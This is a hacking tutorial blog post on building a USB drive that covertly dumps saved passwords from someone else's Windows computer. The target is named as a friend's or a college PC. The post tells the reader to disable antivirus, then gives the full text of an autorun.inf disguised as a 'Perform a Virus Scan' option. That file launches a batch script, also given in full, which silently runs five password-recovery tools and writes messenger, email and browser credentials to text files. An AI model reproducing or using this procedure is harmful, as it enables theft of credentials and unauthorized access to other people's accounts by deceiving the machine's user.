

How to hack passwords using USB Drive

Today I will show you how to hack Passwords using an USB Pen Drive.

As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc.

Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passwords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to hack passwords from your friend's/college Computer.

We need the following tools to create our rootkit:

[MessenPass](#): Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

[Mail PassView](#): Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.

Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.

[IE Passview](#): IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 - v6.0

[Protected Storage PassView](#): Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more...

[PasswordFox](#): PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.

Here is a step by step procedure to create the password hacking toolkit:

NOTE: You must temporarily disable your antivirus before following these steps.

1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.

ie: Copy the files - mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.

2. Create a new Notepad and write the following text into it:

```
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
```

save the Notepad and *rename* it from

New Text Document.txt to *autorun.inf*

Now copy *theautorun.inf* file onto your USB pendrive.

3. Create another Notepad and write the following text onto it:

```
start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt
```

save the Notepad and *rename* it from

New Text Document.txt to *launch.bat*

Copy the launch.bat file also to your USB drive.

Now your rootkit is ready and you are all set to hack the passwords. You can use this pendrive on your friend's PC or on your college computer. Just follow these steps

1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password hacking tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
4. Remove the pendrive and you'll see the stored passwords in the .TXT files.

This hack works on Windows 2000, XP, Vista and 7

NOTE: This procedure will only recover the stored passwords (if any) on the Computer.